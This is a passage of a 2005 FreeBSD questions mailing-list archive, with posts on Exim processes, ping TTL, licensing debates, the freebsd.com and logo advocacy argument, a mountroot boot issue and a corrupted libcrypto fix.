D496F43D2F; Sat, 12 Feb 2005 16:55:02 +0000 (GMT) (envelope-from setantae@submonkey.net) Received: from setantae by shrike.submonkey.net with local (Exim 4.44 (FreeBSD)) id 1D00Xn-000MOO-Sm; Sat, 12 Feb 2005 16:54:55 +0000 Date: Sat, 12 Feb 2005 16:54:55 +0000 From: Ceri Davies To: Aaron Dalton Message-ID: <20050212165455.GJ51102@submonkey.net> Mail-Followup-To: Ceri Davies , Aaron Dalton , freebsd-ports@freebsd.org, freebsd-questions@freebsd.org References: <420E2038.7060503@daltons.ca> Mime-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="q5r20fdKX+PFtYHw" Content-Disposition: inline In-Reply-To: <420E2038.7060503@daltons.ca> X-PGP: finger ceri@FreeBSD.org User-Agent: Mutt/1.5.7i Sender: Ceri Davies cc: freebsd-questions@freebsd.org cc: freebsd-ports@freebsd.org Subject: Re: Problem with Exim X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 12 Feb 2005 16:55:03 -0000 --q5r20fdKX+PFtYHw Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable On Sat, Feb 12, 2005 at 08:26:48AM -0700, Aaron Dalton wrote: > Since upgrading to the latest exim (4.44?) I will occasionally notice I= =20 > am not receiving mail. I will check the server (ps -ax | grep 'exim')=20 > and find that there are dozens of exim processes running (exim -bd=20 > -q30m). I will do 'exim.sh stop' but that only kills the initial=20 > process and not the others. If I manually kill all the stray processes,= =20 > as soon as I start receiving mail new ones will appear. If I reboot,=20 > then everything works fine for about 24 hours then it starts to happen=20 > again. Has anybody else had this happen or does anybody know what might= =20 > be causing the problem? I do run Exim with Clamav and I keep all my=20 > ports updated almost daily. That's how exim works, pretty much. Next time it happens, run the exiwhat script as root and those processes will all report on what they are doing. Ceri --=20 Only two things are infinite, the universe and human stupidity, and I'm not sure about the former. -- Einstein (attrib.) --q5r20fdKX+PFtYHw Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.0 (FreeBSD) iD8DBQFCDjTfocfcwTS3JF8RAoV2AJwPuPaHAhnrWgIdpDLSZ4DavLgfxwCguKd7 9imTDU/jQ5/q+29zHiRFoG8= =tDta -----END PGP SIGNATURE----- --q5r20fdKX+PFtYHw-- From owner-freebsd-questions@FreeBSD.ORG Sat Feb 12 16:56:53 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 790AD16A4CE for ; Sat, 12 Feb 2005 16:56:53 +0000 (GMT) Received: from prosporo.hedron.org (hedron.org [66.11.182.60]) by mx1.FreeBSD.org (Postfix) with ESMTP id 2169143D55 for ; Sat, 12 Feb 2005 16:56:53 +0000 (GMT) (envelope-from ean@hedron.org) Received: from localhost.hedron.org (localhost.hedron.org [127.0.0.1]) by prosporo.hedron.org (Postfix) with ESMTP id 80A59C0C5; Sat, 12 Feb 2005 11:57:06 -0500 (EST) From: Ean Kingston To: freebsd-questions@freebsd.org Date: Sat, 12 Feb 2005 11:57:05 -0500 User-Agent: KMail/1.7.1 References: <20050212165032.1637.qmail@web52003.mail.yahoo.com> In-Reply-To: <20050212165032.1637.qmail@web52003.mail.yahoo.com> MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit Content-Disposition: inline Message-Id: <200502121157.05950.ean@hedron.org> cc: ann kok Subject: Re: ping question X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 12 Feb 2005 16:56:53 -0000 On February 12, 2005 11:50 am, ann kok wrote: > Hi all > > I ping from redhat to cisco router and freebsd router > but I don't understand ttl (time to live) ttl is 'time-to-live' it is a counter. Every router that the ping packet goes through subtracts 1 from the ttl value. When it reaches 0 (zero), the router that got the zero replies with a 'ttl exceeded message'. If the ping packet reaches it's destination before the ttl goes to zero, it replies with a 'ping reply'. This helps with diagnosis of network configuration issues. > Cisco router has ttl=251 and freebsd router has 58 > Does it set by the router itself? > Can I change it in freebsd? You control the ttl value from the place you send the ping from (in your description the RedHat system). When using ping from FreeBSD the -m parameter is used to set the initial value. I believe the initial value can be anything from 0 to 255. The default varies from system to system but the most common is 255. > > Thank you > [cut sample ping output] -- Ean Kingston E-Mail: ean AT hedron DOT org URL: http://www.hedron.org/ From owner-freebsd-questions@FreeBSD.ORG Sat Feb 12 16:56:59 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 6512916A50B for ; Sat, 12 Feb 2005 16:56:59 +0000 (GMT) Received: from smtp.des.no (flood.des.no [217.116.83.31]) by mx1.FreeBSD.org (Postfix) with ESMTP id 145CE43D2D for ; Sat, 12 Feb 2005 16:56:59 +0000 (GMT) (envelope-from des@des.no) Received: by smtp.des.no (Pony Express, from userid 666) id 0AE7F530D; Sat, 12 Feb 2005 17:56:57 +0100 (CET) Received: from xps.des.no (des.no [80.203.228.37]) by smtp.des.no (Pony Express) with ESMTP id 1AE465308 for ; Sat, 12 Feb 2005 17:56:27 +0100 (CET) Received: by xps.des.no (Postfix, from userid 1001) id D1AF633C1B; Sat, 12 Feb 2005 17:56:27 +0100 (CET) To: freebsd-questions@freebsd.org References: <805E7F3C-7C77-11D9-B134-000D933E3CEC@shire.net> <1065300005.20050211231617@wanadoo.fr> <200502111436.36427.krinklyfig@spymac.com> <467538167.20050211234639@wanadoo.fr> <867jlevy8k.fsf@xps.des.no> <32095862.20050212122505@wanadoo.fr> From: des@des.no (=?iso-8859-1?q?Dag-Erling_Sm=F8rgrav?=) Date: Sat, 12 Feb 2005 17:56:27 +0100 In-Reply-To: <32095862.20050212122505@wanadoo.fr> (Anthony Atkielski's message of "Sat, 12 Feb 2005 12:25:05 +0100") Message-ID: <86r7jlvhs4.fsf@xps.des.no> User-Agent: Gnus/5.110002 (No Gnus v0.2) Emacs/21.3 (berkeley-unix) MIME-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: quoted-printable X-Spam-Checker-Version: SpamAssassin 3.0.1 (2004-10-22) on flood.des.no X-Spam-Level: X-Spam-Status: No, score=0.3 required=5.0 tests=AWL,FORGED_RCVD_HELO, PLING_PLING autolearn=disabled version=3.0.1 Subject: Re: Please don't change Beastie to another crap logo such as NetBSD!!! X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 12 Feb 2005 16:56:59 -0000 Anthony Atkielski writes: > Dag-Erling Sm=F8rgrav writes: > > Copyright does not enter the equation at all. What matters is the > > license. > Uh ... where there is no copyright, there is no license. Where there is > a license, there is a copyright. Are you intentionally misinterpreting me? It does not matter who holds the copyright as long as the work is distributed under the right kind of license. DES --=20 Dag-Erling Sm=F8rgrav - des@des.no From owner-freebsd-questions@FreeBSD.ORG Sat Feb 12 17:01:35 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 8F83D16A4CE for ; Sat, 12 Feb 2005 17:01:35 +0000 (GMT) Received: from smtp.des.no (flood.des.no [217.116.83.31]) by mx1.FreeBSD.org (Postfix) with ESMTP id 3835343D3F for ; Sat, 12 Feb 2005 17:01:35 +0000 (GMT) (envelope-from des@des.no) Received: by smtp.des.no (Pony Express, from userid 666) id 2278A5308; Sat, 12 Feb 2005 18:01:33 +0100 (CET) Received: from xps.des.no (des.no [80.203.228.37]) by smtp.des.no (Pony Express) with ESMTP id 8A741530E; Sat, 12 Feb 2005 18:00:56 +0100 (CET) Received: by xps.des.no (Postfix, from userid 1001) id 6FA8633C1B; Sat, 12 Feb 2005 18:00:56 +0100 (CET) To: Anthony Atkielski References: <863bw2vxpk.fsf@xps.des.no> <163678746.20050212124602@wanadoo.fr> From: des@des.no (=?iso-8859-1?q?Dag-Erling_Sm=F8rgrav?=) Date: Sat, 12 Feb 2005 18:00:56 +0100 In-Reply-To: <163678746.20050212124602@wanadoo.fr> (Anthony Atkielski's message of "Sat, 12 Feb 2005 12:46:02 +0100") Message-ID: <86mzu9vhkn.fsf@xps.des.no> User-Agent: Gnus/5.110002 (No Gnus v0.2) Emacs/21.3 (berkeley-unix) MIME-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: quoted-printable X-Spam-Checker-Version: SpamAssassin 3.0.1 (2004-10-22) on flood.des.no X-Spam-Level: X-Spam-Status: No, score=0.3 required=5.0 tests=AWL,FORGED_RCVD_HELO, PLING_PLING autolearn=disabled version=3.0.1 cc: freebsd-questions@freebsd.org Subject: Re: Why in the world you should have a vote: was RE: Please don't change Beastie to another crap logo suchas NetBSD!!! X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 12 Feb 2005 17:01:35 -0000 Anthony Atkielski writes: > It surprises and worries me that anyone does it, for precisely the > reasons that you describe. Should I ever contribute code to FreeBSD, > I'll just assign the copyright To whom? The FreeBSD project is not a legal entity. > or release the code to the public > domain. That is a very bad idea, because you can't disclaim liability for work which you release in the public domain. DES --=20 Dag-Erling Sm=F8rgrav - des@des.no From owner-freebsd-questions@FreeBSD.ORG Sat Feb 12 17:03:42 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id AC95516A4CE; Sat, 12 Feb 2005 17:03:42 +0000 (GMT) Received: from engine140.deployzone.net (engine140.deployzone.net [193.17.85.140]) by mx1.FreeBSD.org (Postfix) with SMTP id A350143D46; Sat, 12 Feb 2005 17:03:41 +0000 (GMT) (envelope-from chris@czv.com) Received: from adsl-212-90-218-5.cybernet.ch [212.90.218.5] by engine140.deployzone.net; Sat, 12 Feb 2005 18:03:04 +0100 In-Reply-To: <420E27DD.1090200@401.cx> References: <1108146951.31338.10.camel@hatter.wonderland.dn><20050211203848.55287.qmail@web53602.mail.yahoo.com><811873941.20050211232722@wanadoo.fr> <420E27DD.1090200@401.cx> Mime-Version: 1.0 (Apple Message framework v619.2) Content-Type: text/plain; charset=US-ASCII; format=flowed Message-Id: <32e1e7d9032b18f1fc7559f664a536ba@czv.com> Content-Transfer-Encoding: 7bit From: Chris Zumbrunn Date: Sat, 12 Feb 2005 18:03:40 +0100 To: "Roger 'Rocky' Vetterberg" X-Mailer: Apple Mail (2.619.2) cc: freebsd-advocacy@freebsd.org cc: freebsd-questions@freebsd.org Subject: Re: Instead of freebsd.com, why not... X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 12 Feb 2005 17:03:42 -0000 On Feb 12, 2005, at 4:59 PM, Roger 'Rocky' Vetterberg wrote: > So far, I have not seen one single valid argument against a > freebsd.com website or a new logo, so I side with the people that > wants some changes to happen in this one. Well, if you put it that bluntly, let me disagree with you :-) If you look at the current freebsd.org website, you see a logo on top, a navigation bar on the left, news on the right and a large area in the middle that is reserved exclusively for advocacy content. There is nothing wrong with that concept and it can serve well as the main web page for both those that serve on a board of directors and those that are bored of directors. Yes, the design needs a face lift. That can be done without compromising usability. Yes, the navigation could be streamlined and should list sections such as white papers, success stories and solution guides. That stuff just needs to be produced! Without that it exists you can't link to it from the front page. Yes, the news should be more frequent and comprehensive. You can't report what isn't happening. More should be written about FreeBSD and links to new articles should be collected and updated daily. Yes, the advocacy content should be much more exciting and professional. There is a large need for lots of high quality advocacy content including white papers, statistics, market research, graphics, success stories, business cases, etc. All that "just" needs to be produced. None of the above will get accomplished by splitting the site in two. All of the above needs to be done either way. Changing the design of freebsd.org/freebsd.com is easy. The hard work is creating all the content that needs to go behind it. Cheers, Chris chris@czv.com +41 329 41 41 41 Chris Zumbrunn Ventures - http://www.czv.com/ Internet Application Technology - Reduced to the Maximum From owner-freebsd-questions@FreeBSD.ORG Sat Feb 12 17:05:52 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id E5E6116A52E for ; Sat, 12 Feb 2005 17:05:51 +0000 (GMT) Received: from smtp.des.no (flood.des.no [217.116.83.31]) by mx1.FreeBSD.org (Postfix) with ESMTP id 5805743D31 for ; Sat, 12 Feb 2005 17:05:51 +0000 (GMT) (envelope-from des@des.no) Received: by smtp.des.no (Pony Express, from userid 666) id A1F85530D; Sat, 12 Feb 2005 18:05:49 +0100 (CET) Received: from xps.des.no (des.no [80.203.228.37]) by smtp.des.no (Pony Express) with ESMTP id 11E435308; Sat, 12 Feb 2005 18:05:11 +0100 (CET) Received: by xps.des.no (Postfix, from userid 1001) id 6A10333C1B; Sat, 12 Feb 2005 18:05:11 +0100 (CET) To: Anthony Atkielski References: <163678746.20050212124602@wanadoo.fr> <1198432873.20050212130307@wanadoo.fr> From: des@des.no (=?iso-8859-1?q?Dag-Erling_Sm=F8rgrav?=) Date: Sat, 12 Feb 2005 18:05:11 +0100 In-Reply-To: <1198432873.20050212130307@wanadoo.fr> (Anthony Atkielski's message of "Sat, 12 Feb 2005 13:03:07 +0100") Message-ID: <86is4xvhdk.fsf@xps.des.no> User-Agent: Gnus/5.110002 (No Gnus v0.2) Emacs/21.3 (berkeley-unix) MIME-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: quoted-printable X-Spam-Checker-Version: SpamAssassin 3.0.1 (2004-10-22) on flood.des.no X-Spam-Level: X-Spam-Status: No, score=0.3 required=5.0 tests=AWL,FORGED_RCVD_HELO, PLING_PLING autolearn=disabled version=3.0.1 cc: freebsd-questions@freebsd.org Subject: Re: Why in the world you should have a vote: was RE: Please don'tchange Beastie to another crap logo suchas NetBSD!!! X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 12 Feb 2005 17:05:52 -0000 Anthony Atkielski writes: > Unfortunately, even if he licenses the coding in perpetuity to FreeBSD, > he can still change his mind later and revoke the license, as can his > heirs. No. Existing copies would still be distributable and derivable under the original license terms. DES --=20 Dag-Erling Sm=F8rgrav - des@des.no From owner-freebsd-questions@FreeBSD.ORG Sat Feb 12 17:11:04 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 80CC116A4CE for ; Sat, 12 Feb 2005 17:11:04 +0000 (GMT) Received: from smtp.knology.net (smtp.knology.net [24.214.63.101]) by mx1.FreeBSD.org (Postfix) with SMTP id CF66B43D3F for ; Sat, 12 Feb 2005 17:11:03 +0000 (GMT) (envelope-from dkelly@HiWAAY.net) Received: (qmail 5508 invoked by uid 0); 12 Feb 2005 17:11:02 -0000 Received: from user-69-73-60-132.knology.net (HELO ?10.0.0.68?) (69.73.60.132) by smtp6.knology.net with SMTP; 12 Feb 2005 17:11:02 -0000 Mime-Version: 1.0 (Apple Message framework v619.2) In-Reply-To: <200502112313.28082.hindrich@worldchat.com> References: <200502112313.28082.hindrich@worldchat.com> Content-Type: text/plain; charset=US-ASCII; format=flowed Message-Id: <9162ea4ff171ffc111003a204c81ef7d@HiWAAY.net> Content-Transfer-Encoding: 7bit From: David Kelly Date: Sat, 12 Feb 2005 11:10:58 -0600 To: FreeBSD_Questions FreeBSD_Questions X-Mailer: Apple Mail (2.619.2) Subject: Re: Freebsd vs. linux X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 12 Feb 2005 17:11:04 -0000 On Feb 11, 2005, at 10:13 PM, Peterhin wrote: > "Linux is inferior to FreeBSD, and yet it is taken more seriously > because of the atmosphere around it, despite its technical inferiority" > > Could you please either explain, why Freebsd is superior to Linux, (I > am > asking this as I would like to understand, in more depth, why it is > better) or direct me to a source that might give me some further > reading on the subject. Look closely at the Linux community and you'll find its mostly ex-Windows users focused on what Microsoft is doing. The desire is to one-up Microsoft at Microsoft's own game. Their definition of "computer" and "human interface" was written by Microsoft and still can't think outside of that box. Look closely at the BSD community and you'll find those who are working at creating a better tool to serve their needs. Much debate about exactly what constitutes "better" so there is also quite a bit of experimenting. What you won't find is Microsoft as the yardstick by which BSD's measure. -- David Kelly N4HHE, dkelly@HiWAAY.net ======================================================================== Whom computers would destroy, they must first drive mad. From owner-freebsd-questions@FreeBSD.ORG Sat Feb 12 17:18:19 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id F111916A4CE for ; Sat, 12 Feb 2005 17:18:18 +0000 (GMT) Received: from server2.sonservers.com (server2.sonservers.com [69.50.210.200]) by mx1.FreeBSD.org (Postfix) with ESMTP id 7EF4743D31 for ; Sat, 12 Feb 2005 17:18:18 +0000 (GMT) (envelope-from info@sonservers.com) Received: from 209-181-158-172.omah.qwest.net ([209.181.158.172] helo=IBM-R40) by server2.sonservers.com with smtp (Exim 4.44 (FreeBSD)) id 1D00uP-000KRC-Bw; Sat, 12 Feb 2005 11:18:17 -0600 From: Scott To: Ean Kingston , X-Mailer: Barca 1.1 (850) - Licensed Version Date: Sat, 12 Feb 2005 11:18:10 -0600 Message-ID: <2005212111810.723572@IBM-R40> In-Reply-To: <200502121045.36562.ean@hedron.org> Mime-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable X-AntiAbuse: This header was added to track abuse, please include it with any abuse report X-AntiAbuse: Primary Hostname - server2.sonservers.com X-AntiAbuse: Original Domain - freebsd.org X-AntiAbuse: Originator/Caller UID/GID - [0 0] / [26 6] X-AntiAbuse: Sender Address Domain - sonservers.com X-Source: X-Source-Args: X-Source-Dir: Subject: Re: Install 5.3 - Getting mountroot> prompt X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list Reply-To: info@sonservers.com List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 12 Feb 2005 17:18:19 -0000 > On February 11, 2005 09:42 pm, Scott wrote: > > I will really appreciate it of > > someone can help > > me out. > > > > I am installing 5.3 on a dual p3 > > server. I have > > two 160 gig Seagate IDE drives on the > > first IDE > > connector, and a CD rom on the 2nd > > IDE connector. > > I have reinstalled several times with > > different > > drive configurations and keep getting > > stuck at > > the same place. > > > > At boot, the normal countdown loader > > comes up and > > it begins to boot. The boot message > > gets to this > > drive section below and then stops at > > a > > "mountroot>" prompt. > > > > Begin copy ....... > > > > ad0: 152627MB > > [310101/16/63] > > at ata0-master UDMA66 > > ad1: 152627MB > > [310101/16/63] > > at ata0-master UDMA66 > > acd0: at ata1-master > > PIO4 > > > Your problem may be that you have two > drives on the same connector that are both > configured as the master. You need to > switch the ad1 drive to be the slave. Thanks Ean, That was an error in my posting. The second drive actually does show on the output as "slave". I retyped that into my message from the screen and copied and pasted that line and didn't change the "master" to "slave". It actually does show master and slave correctly. The master/slave settings are actually correct. Sorry for the confusion. I'm going to try to install 5.2.1 again and see if I still have the same issue. > > > > Manual root filesystem specification: > > : Mount > > using filesystem > > > > eg. usf:da0s1a > > ? List valid desk boot devices > > Abort manual input > > > > mountroot> > > > > ............ End copy > > > > If I type: ufs:ad0s1a > > at that "mountroot>" > > prompt, it will boot normally and as > > far as I can > > tell, all is working like I would > > expect. I > > suspected this may have something to > > do with my > > fstab but it looks normal to me: > > > > /dev/ad0s1b none swap sw 0 0 > > /dev/ad1s1b none swap sw 0 0 > > /dev/ad0s1a / ufs rw > > 1 1 > > /dev/ad1s1d /backup ufs rw 2 2 > > /dev/ad0s1d /tmp ufs rw > > 2 2 > > /dev/acd0 /cdrom cd9660 > > ro,noauto 0 0 > > > > Please let me know if I can provide > > more > > information that will help you help > > me know > > what to do to get it to automatically > > go on > > to boot ad0s1a. From owner-freebsd-questions@FreeBSD.ORG Sat Feb 12 17:24:45 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 24D9C16A4CE; Sat, 12 Feb 2005 17:24:45 +0000 (GMT) Received: from rambo.401.cx (rambo.401.cx [80.65.205.166]) by mx1.FreeBSD.org (Postfix) with ESMTP id 63F2C43D2F; Sat, 12 Feb 2005 17:24:44 +0000 (GMT) (envelope-from listsub@401.cx) Received: from [127.0.0.1] (rocky [192.168.200.2]) by rambo.401.cx (8.13.1/8.13.1) with ESMTP id j1CHOfJm035965; Sat, 12 Feb 2005 18:24:41 +0100 (CET) (envelope-from listsub@401.cx) Message-ID: <420E3C36.3030601@401.cx> Date: Sat, 12 Feb 2005 18:26:14 +0100 From: "Roger 'Rocky' Vetterberg" User-Agent: Mozilla Thunderbird 1.0 (Windows/20041206) X-Accept-Language: en-us, en MIME-Version: 1.0 To: Chris Zumbrunn References: <1108146951.31338.10.camel@hatter.wonderland.dn><20050211203848.55287.qmail@web53602.mail.yahoo.com><811873941.20050211232722@wanadoo.fr> <420E27DD.1090200@401.cx> <32e1e7d9032b18f1fc7559f664a536ba@czv.com> In-Reply-To: <32e1e7d9032b18f1fc7559f664a536ba@czv.com> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Antivirus: avast! (VPS 0506-1, 2005-02-11), Outbound message X-Antivirus-Status: Clean cc: freebsd-advocacy@freebsd.org cc: freebsd-questions@freebsd.org Subject: Re: Instead of freebsd.com, why not... X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 12 Feb 2005 17:24:45 -0000 Chris Zumbrunn wrote: > > On Feb 12, 2005, at 4:59 PM, Roger 'Rocky' Vetterberg wrote: > >> So far, I have not seen one single valid argument against a >> freebsd.com website or a new logo, so I side with the people that >> wants some changes to happen in this one. > > > Well, if you put it that bluntly, let me disagree with you :-) > > If you look at the current freebsd.org website, you see a logo on top, a > navigation bar on the left, news on the right and a large area in the > middle that is reserved exclusively for advocacy content. There is > nothing wrong with that concept and it can serve well as the main web > page for both those that serve on a board of directors and those that > are bored of directors. > > Yes, the design needs a face lift. That can be done without compromising > usability. > > Yes, the navigation could be streamlined and should list sections such > as white papers, success stories and solution guides. That stuff just > needs to be produced! Without that it exists you can't link to it from > the front page. > > Yes, the news should be more frequent and comprehensive. You can't > report what isn't happening. More should be written about FreeBSD and > links to new articles should be collected and updated daily. > > Yes, the advocacy content should be much more exciting and professional. > There is a large need for lots of high quality advocacy content > including white papers, statistics, market research, graphics, success > stories, business cases, etc. All that "just" needs to be produced. > > None of the above will get accomplished by splitting the site in two. > All of the above needs to be done either way. Changing the design of > freebsd.org/freebsd.com is easy. The hard work is creating all the > content that needs to go behind it. > I advocate changes, you disagree with me, and then you list a lot of points that should be changed? Im having difficulties with your logic here. :) All of your points are valid, there are so many things that would improve FreeBSD's image with just a little tweaking. However, everytime I've tried to suggest even the slightest change to freebsd.org, people has started to kick and scream and preach about the end of the OS as we know it. Therefor I have abandoned every hope of ever make freebsd.org evolve, and instead joined the advocates of a user-friendly freebsd.com website. Personally, Im backing out of this discussion now. I would love to see something happen, but there is a limit to how much resistance and stubbornes a man can take. Everytime this kind of discussion has come up, I've tried my best to support any attempts of actually making something happen, but the incredible amount of resistance we always meet has made me question if its worth it. Until core or atleast a group of committers *make* something happen, I doubt anything will change. If you go ahead and try to change freebsd.org, I wish you the best of luck. The brickwall you are about to bang youre head against is very hard. ;) -- R From owner-freebsd-questions@FreeBSD.ORG Sat Feb 12 18:02:44 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 385CD16A4CE for ; Sat, 12 Feb 2005 18:02:44 +0000 (GMT) Received: from webmail.freedom2surf.net (i-194-106-33-239.freedom2surf.net [194.106.33.239]) by mx1.FreeBSD.org (Postfix) with ESMTP id 1008243D2D for ; Sat, 12 Feb 2005 18:02:43 +0000 (GMT) (envelope-from freebsd@drseuk.f2s.com) Received: from i-194-106-33-239.freedom2surf.net (i-194-106-33-239 [127.0.0.1])j1CI2f4x013866; Sat, 12 Feb 2005 18:02:41 GMT Received: (from apache@localhost)j1CI2f22013865; Sat, 12 Feb 2005 18:02:41 GMT X-Authentication-Warning: i-194-106-33-239.freedom2surf.net: apache set sender to freebsd@drseuk.f2s.com using -f Received: from i-195-137-107-121.freedom2surf.net (i-195-137-107-121.freedom2surf.net [195.137.107.121]) by webmail.freedom2surf.net (IMP) with HTTP for ; Sat, 12 Feb 2005 18:02:41 +0000 Message-ID: <1108231361.420e44c15eb6f@webmail.freedom2surf.net> Date: Sat, 12 Feb 2005 18:02:41 +0000 From: freebsd@drseuk.f2s.com To: Kris Kennaway References: <1105950426.41eb76da413a3@webmail.freedom2surf.net> <20050117232933.GA47343@xor.obsecurity.org> <1106089115.41ed949b8f946@webmail.freedom2surf.net> <20050119003220.GB46099@xor.obsecurity.org> In-Reply-To: <20050119003220.GB46099@xor.obsecurity.org> MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 8bit User-Agent: Internet Messaging Program (IMP) 3.2.3 X-Originating-IP: 195.137.107.121 cc: freebsd-questions@freebsd.org Subject: Re: bsd.port.mk problems => make failing for all ports X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 12 Feb 2005 18:02:44 -0000 Hi, Problem solved! Here's the explanation for anyone else hitting similar problems. pkg_info (called by make) was signal 11 segfaulting which is what caused the malformed conditionals (at line 2049) in /usr/ports/Mk/bsd.port.mk as PKGINSTALLVER was not being defined (at line 2047). As mentioned earlier I'd noticed that telnet had stopped working too. comparing ldd `which pkg_info` and ldd `which telnet` showed that (apart from the libc's), only libcrypto.so.3 was shared between these two and therefore must have become corrupted. The solution was a bit brute force (but with make not working I had little choice) - namely pull down a binary base distribution, cat all the base.aa, base.ab etc. files together, untar them and copy libcrypto.so.3 back. Luckily it worked. Thanks Kris and others for your help From owner-freebsd-questions@FreeBSD.ORG Sat Feb 12 18:04:31 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 6F5CC16A4CE for ; Sat, 12 Feb 2005 18:04:31 +0000 (GMT) Received: from rambo.401.cx (rambo.401.cx [80.65.205.166]) by mx1.FreeBSD.org (Postfix) with ESMTP id E004043D31 for ; Sat, 12 Feb 2005 18:04:29 +0000 (GMT) (envelope-from listsub@401.cx) Received: from [127.0.0.1] (rocky [192.168.200.2]) by rambo.401.cx (8.13.1/8.13.1) with ESMTP id j1CI4NM8036403; Sat, 12 Feb 2005 19:04:24 +0100 (CET) (envelope-from listsub@401.cx) Message-ID: <420E4584.6060304@401.cx> Date: Sat, 12 Feb 2005 19:05:56 +0100 From: "Roger 'Rocky' Vetterberg" User-Agent: Mozilla Thunderbird 1.0 (Windows/20041206) X-Accept-Language: en-us, en MIME-Version: 1.0 To: Bart Silverstrim References: <649200329.20050211081852@wanadoo.fr> <621dabed4fc2996ae4cb3a2929d6842c@chrononomicon.com> In-Reply-To: <621dabed4fc2996ae4cb3a2929d6842c@chrononomicon.com> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Antivirus: avast! (VPS 0506-1, 2005-02-11), Outbound message X-Antivirus-Status: Clean cc: freebsd-questions@freebsd.org Subject: Re: Please don't change Beastie to another crap logo such as NetBSD!!! X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 12 Feb 2005 18:04:31 -0000 Bart Silverstrim wrote: > > On Feb 11, 2005, at 2:18 AM, Anthony Atkielski wrote: > >> Ted Mittelstaedt writes: >> >>> That is so not true that it makes me almost as angry as the original >>> debate. >> >> >> Maybe getting angry about a mere logo is a bad sign. > > > Just to sum up things as I understand it... > > People want to change the logo from Beastie to something else because > Beastie isn't professional enough, so some committers decided to hold a > contest for a new logo? Not really. Someone found a draft of a document suggesting a contest, that was not meant to be published (yet?) and then all hell broke loss. > Out of curiosity, is Beastie so terrible, a logo, that a business would > be stupid enough to base their server decisions based on it? Would you > care if a business were that dumb...would you actually *want* them using > it? Its not that simple. Several times I have seen very 